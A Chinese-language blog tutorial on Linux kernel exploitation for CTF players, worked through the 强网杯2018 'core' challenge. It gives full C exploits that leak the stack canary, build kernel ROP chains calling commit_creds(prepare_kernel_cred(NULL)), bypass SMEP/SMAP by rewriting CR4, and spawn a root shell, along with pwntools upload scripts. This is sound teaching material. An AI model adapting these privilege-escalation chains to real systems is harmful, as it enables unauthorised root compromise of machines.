【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF

本文最后更新于:2023年3月5日 晚上

宁也是带黑阔?

0x00.绪论

毫无疑问,对于内核漏洞进行利用,并最终提权到 root,在黑客界是一种最为 old school 的美学 :)

而CTF中的 kernel pwn 类型的题目则恰好是入门 kernel exploit 最好的方式之一,因此本篇博客由浅入深简单讲讲 CTF 中几种较为常见的 kernel 利用方式,同时为了让大家了解更多的利用手法,笔者每道题都会尽量采用不同的结构体进行利用 :)

关于内核常见的几种保护机制,参见这里

✳ kernel pwn与用户态的pwn在本质上并无差别

需要注意的是,CTF中的kernel pwn通常不会让选手去真正寻找内核中的漏洞,而通常是给出一个有漏洞的LKM让选手进行分析

但如果你有一个 kernel 0day 你便可以通杀大部分比赛的 kernel pwn 题 :)

本篇博客虽然最初写于 2021 年,但偶尔也会根据内核的一些发展变迁进行小部分变动:)

文件远程传输方式

通常情况下,在CTF中一个用作 exploit 的静态编译的可执行文件的体积通常可以达到数百KB甚至几M往上,我们没法很方便地将其直接上传到服务器

目前来说比较通用的办法便是将 exploit 进行 base64 编码后传输,可参考笔者所给出的如下脚本:

笔者优化后的打远程用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")

count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))

for i in range(count):
p.recvuntil("/ $")

p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break

p.interactive()

笔者早期写的打远程用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import time, os
#context.log_level = "debug"

p = process('./boot.sh')#remote("127.0.0.1", 5555)

os.system("tar -czvf exp.tar.gz ./exploit")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exploit;")
p.sendline("./exploit")
p.interactive()

相比起常规的 pwn 题,kernel pwn 打远程会是一个比较漫长的过程,因为大部分的时间都会花在这个文件传输上

对于部分不需要一些额外功能(如userfaultfd)的题目可以使用 musl-C 库来大幅降低可执行文件的大小

对于时间比较充足的题目笔者推荐使用纯汇编来编写exp(笑)

若是运气不大好或者网速太慢,那么你可能会需要从头来过…

image.png

笔者自用模板

笔者将 kernel pwn 中常用的一些数据、函数等等封装在一个头文件 kernelpwn.h 中,封装好了一些如 userfaultfd、keyctl、msg_msg 等的常用物

笔者按函数命名法分成了两种(因为笔者以前喜欢小驼峰现在喜欢下划线😀):

这里需要注意的是 musl 库缺少很多的东西,所以该模板仅适用于 glibc,如果要用 musl 编译的话需要大家自行修改:(

0x01.Kernel ROP - basic

ROP即返回导向编程(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流

内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由system("/bin/sh")变为了 commit_creds(prepare_kernel_cred(&init_task)) 或 commit_creds(&init_cred)

当成功执行如上函数之后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell

  • 需要注意的是 旧版本内核上所用的提权方法 commit_creds(prepare_kernel_cred(NULL)) 已经不再能被使用,在高版本的内核当中 prepare_kernel_cred(NULL) 将不再返回一个 root cred,这也令 ROP chain 的构造变为更加困难 :(

状态保存

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的pwn板子

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用户态

这篇博客 当中笔者简要叙述了内核态返回用户态的过程:

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

1
2
3
4
5
6
7
↓   swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

内核ROP和用户态的ROP本质上没有太大区别,细节便不在此赘叙了

什么?你说你⑧会 ROP ?那你看个🔨kernel pwn

👴悟🌶!**带学的带手子pwner在VNCTF2021告诉👴 ROP 事一个寄存器!

例题:强网杯2018 - core

依然是十分经典的kernel pwn入门题

点击下载-core.7z

首先查看启动脚本start.sh

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
  • 开启了KASLR保护

解压文件系统,查看init文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f
  • 开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址
  • 不出意外的话core.ko就是存在漏洞的内核模块
  • 改变权限前设置了定时关机,调试的时候可以把这个语句先删掉

① 分析

惯例的checksec一下,开了NX和canary

image.png

拖入IDA进行分析,符号表没抠,很开心(

初始化函数中创建了一个进程节点文件/proc/core,这也是我们后续与内核模块间通信的媒介

image.png

简单分析自定义的fop结构体core_fops,发现只自定义了三个回调函数

image.png

image.png

image.png

其中core_release仅为打印功能,就不在此放出了

core_write的功能主要是允许用户向bss段上写入最多0x800字节的内容

image.png

core_ioctl中允许我们调用core_readcore_copy_func这两个函数,以及设置全局变量off的值

image.png

core_read函数中允许我们从栈上读取数据,由于off变量的值可以由我们控制,故我们可以利用该函数泄露栈上数据,包括canary

image.png

② 漏洞利用:Kernel ROP

core_copy_func中将会拷贝bss段上内容到栈上,由于其拷贝时使用低16字节作为判断长度,若是我们传入一个恰当的负数,便能拷贝最多0xffff字节的数据到栈上

存在栈溢出,且溢出数据可控

image.png

那么我们便能够利用栈溢出在栈上构造ROP chain以提权

而canary的值可以通过ioctl提供的功能以泄露,此前内核符号表又已经被拷贝到了/tmp/kallsyms下,我们便可以从中读取各个内核符号的地址

只要我们能够在内核空间执行commit_cred(prepare_kernel_cred(NULL)),那么就能够将进程的权限提升到root

至于gadget可以直接使用ROPgadget或者ropper对着vmlinux镜像跑一轮,这里便不再赘叙

不明原因,笔者的ROPgadget没法找到iretq,只好使用 pwntools 来搜

image.png

调试的时候我们可以先把kaslr关掉,获取没有偏移的函数地址,后续再通过该值计算偏移

image.png

③ exploit

我们这里选择执行commit_creds(prepare_kernel_cred(NULL))以提权

由于是内核态的rop,故我们需要手动返回用户态执行/bin/sh,这里我们需要模拟由用户态进入内核态再返回用户态的过程

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

编译指令:

1
$ gcc ./exploit.c -o exploit -static -masm=intel

本地调试的话重新打包即可

1
$ find . | cpio -o -H newc > ../core.cpio

运行即可获得root shell

image.png

返回用户态 with KPTI bypass

对于开启了 KPTI(内核页表隔离),我们不能像之前那样直接 swapgs ; iret 返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来

众所周知 Linux 采用四级页表结构(PGD->PUD->PMD->PTE),而 CR3 控制寄存器用以存储当前的 PGD 的地址,因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换,为了提高切换的速度,内核将内核空间的 PGD 与用户空间的 PGD 两张页全局目录表放在一段连续的内存中(两张表,一张一页4k,总计8k,内核空间的在低地址,用户空间的在高地址),这样只需要将 CR3 的第 13 位取反便能完成页表切换的操作

image.png

需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,如下图所示,左侧是未开启 KPTI 后的页表布局,右侧是开启了 KPTI 后的页表布局

KPTI 同时还令内核页表中用户地址空间部分对应的页顶级表项不再拥有执行权限(NX),这使得 ret2usr 彻底成为过去式

在 64 位下用户空间与内核空间都占 128 TB,所以他们占用的页全局表项(PGD)的大小应当是相同的,图上没有体现出来,因此这里由笔者代为补充说明(笑)

image.png

笔者以前学习 KPTI 时看了一篇某乎上的文章说是用户空间一张页表,内核空间一张页表,实现完整的隔离,笔者一度信以为真,后面想想不对劲,如果用户空间与内核空间真是完全隔离的话他们之间甚至无法进行数据交换,因此必定在某个节点上同时存在着完整的对用户空间与内核空间的映射,这个节点就是当 CPU 运行在内核态时

除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得

源码的 AT&T 汇编比较反人类,推荐直接查看 IDA 的反汇编结果(亲切的 Intel 风格):

image.png

在实际操作时前面的一些栈操作都可以跳过,直接从 mov rdi, rsp 开始,这个函数大概可以总结为如下操作:

1
2
3
4
5
6
7
mov  rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

因此我们只需要布置出如下栈布局即可:

1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

我们同时也可以看出这是一个极好的用来进行调栈的函数

KPTI bypass 这里就不放例题了,因为和前面的返回用户态而言仅有 gadget 以及栈布局上的微小差别

0x02.Kernel ROP - ret2usr

在【未】开启SMAP/SMEP保护的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问/执行用户空间的数据,因此 ret2usr 这种攻击手法应运而生——通过 kernel ROP 以内核的 ring 0 权限执行用户空间的代码以完成提权

通常 CTF 中的 ret2usr 还是以执行commit_creds(prepare_kernel_cred(NULL))进行提权为主要的攻击手法,不过相比起构造冗长的ROP chain,ret2usr 只需我们要提前在用户态程序构造好对应的函数指针、获取相应函数地址后直接 ret 回到用户空间执行即可

✳ 对于开启了SMAP/SMEP保护的 kernel 而言,内核空间尝试直接访问用户空间会引起 kernel panic

通常情况下的报错信息大概如下所示:

1
2
3
4
5
6
7
8
9
[    7.168919] unable to execute userspace code (SMEP?) (uid: 1000)
[ 7.170547] BUG: unable to handle kernel paging request at 0000000000401d8a
[ 7.171399] IP: 0x401d8a
[ 7.171598] PGD 800000000fb5e067 P4D 800000000fb5e067 PUD fb5f067 PMD fb59065
[ 7.172087] Oops: 0011 [#1] SMP PTI
// 调用栈回溯
[ 7.186319] Kernel panic - not syncing: Fatal exception
[ 7.187391] Kernel Offset: 0x32800000 from 0xffffffff81000000 (relocation ra)
[ 7.188504] Rebooting in 1 seconds..

例题:强网杯2018 - core

好像也找不到别的纯 ret2usr 的题了,kernel pwn 的题太少了…但是你又⑧能⑧学

具体的这里就不再重复分析了,由于其未开启 smap/smep 保护,故可以考虑在用户地址空间中构造好对应的函数指针后直接 ret2usr 以提权,我们只需要将代码稍加修改即可

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

重新打包,运行,成功获取root权限

image.png

ret2usr with SMAP/SMEP BYPASS

前面我们讲到,当 kernel 开启 SMEP 保护时,ret2usr 这种攻击手法将会引起 kernel panic,因此若是我们仍然想要进行 ret2usr 攻击,则需要先关闭 SMEP 保护

Intel 下系统根据 CR4 控制寄存器的第 20、21 位标识是否开启 SMEP、SMAP 保护(1为开启,0为关闭),若是能够改变 CR4 寄存器的值便能够关闭 SMEP/SMAP 保护,完成 SMAP/SMEP-bypass,接下来就能够重新进行 ret2usr

image.png

我们可以通过如下命令查看CPU相关信息,其中包括开启的保护类型:

1
$ cat /proc/cpuinfo

例题:强网杯2018 - core

又是 core!典中典的 kernel pwn 入门题!

这一次我们在启动脚本中添加上 smep 与 smap 的选项:

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

之后我们重新运行之前的 ret2usr 的 exp,发现直接 kernel panic 了,这是因为我们想要执行用户空间的函数指针,触发了 SMEP 保护

image.png

那么这里我们只需要通过 ROP 来关闭 SMEP&SMAP 即可继续 ret2usr,这里笔者用与运算将 SMEP 与 SMAP 的两位给清除掉了,实际上直接给 cr4 赋值 0x6f0 也是可以的(通常关了以后都是这个值)

前面我们使用 swapgs 和 iret 两条指令来返回用户态,这一次我们直接使用 swapgs_restore_regs_and_return_to_usermode 来返回用户态

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET 0xffffffff8106669c
#define AND_RAX_RDI_RET 0xffffffff8102b45b
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define PUSHFQ_POP_RBX_RET 0xffffffff81131da4
#define IRETQ 0xffffffff813eb448
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

void * (*prepare_kernel_cred_ptr)(void *);
int (*commit_creds_ptr)(void *);

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds_ptr = commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred_ptr = prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t offset = commit_creds - 0xffffffff8109c8e0;

// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];

//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;

rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0xffffffffffcfffff;
rop_chain[i++] = AND_RAX_RDI_RET + offset;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

运行即可完成提权

image.png

这里笔者选择的 CPU 型号 qemu64-v1 其实是在我们不指定时 QEMU 默认使用的 CPU 型号,但是你可以看到一般的比赛使用的都是 kvm64 这一型号,我们可以使用如下命令查看 QEMU 可用的 CPU 型号及说明

1
2
3
4
5
6
7
$ qemu-system-x86_64 -cpu help
Available CPUs:
...
x86 kvm64 (alias configured by machine type)
...
x86 qemu64-v1 QEMU Virtual CPU version 2.5+
...

因此大家默认会使用 kvm64 这一型号,那么为什么这里笔者要特意指定成 qemu64-v1 呢,这是因为笔者发现其他型号的 CPU 在关闭 smep、smap 后仍无法正常地 ret2usr,会在访问用户空间时触发缺页异常

image.png

造成这种现象的原因是因为KPTI 机制,对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic

kpti 在 qemu64-v1 上默认是关闭的,但在其他型号 CPU 上默认是开启的,所以这里笔者选用该型号来作为修改 cr4 进行 smep/smap bypass 的例题,但实际上 ret2usr 已经是过去式了

0x03.Kernel ROP - ret2dir

笔者第一次见这个名字的时候还以为是 return to directory:返回至文件夹的攻击,但现在仔细想来至少英文猜的差不多对

ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,原论文见此处http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf

我们首先来思考一下 x86 下的 Linux kernel 的内存布局,存在着这样的一块区域叫做 direct mapping area,即内核的 线性映射区线性地直接映射了整个物理内存空间

1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

好像也没有啥译名,但是叫直接映射区太难听,因为这块映射是线性的(linear),笔者就一直叫他线性映射区

在 32 位下这块区域似乎只能占 896 MB,虽然 32 位下有最大 4G 的内存空间,不过虽然同样是线性映射区, 32 位和 64 位的内存布局还是有些许不同的,这里我们主要还是关注 64 位

笔者猜测:buddy system 应当是通过这块映射来管理整个物理内存空间的,尚未查证过源码

这里我们也可以看出 Linux 在 4级页表(地址长度 48 bit)下的最大内存应当为 64 TB 而并非 256 TB,至于为什么缩水了那么多那是另一个故事…

当需要用到大于 64 TB 的内存时,就要开启 5 级页表了,这种情况比较复杂,这里我们就先不深入讨论

这块区域的存在意味着:对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址与内核空间地址到该物理页框的映射,即我们利用这两个地址进行内存访问时访问的是同一个物理页框

当开启了 SMEP、SMAP、PXN 等防护时,内核空间到用户空间的直接访问被禁止,我们无法直接使用类似 ret2usr 这样的攻击方式,但利用内核线性映射区对整个物理地址空间的映射,我们可以利用一个内核空间上的地址访问到用户空间的数据,从而绕过 SMEP、SMAP、PXN 等传统的隔绝用户空间与内核空间的防护手段

下图便是原论文中对 ret2dir 这种攻击的示例,我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到

image.png

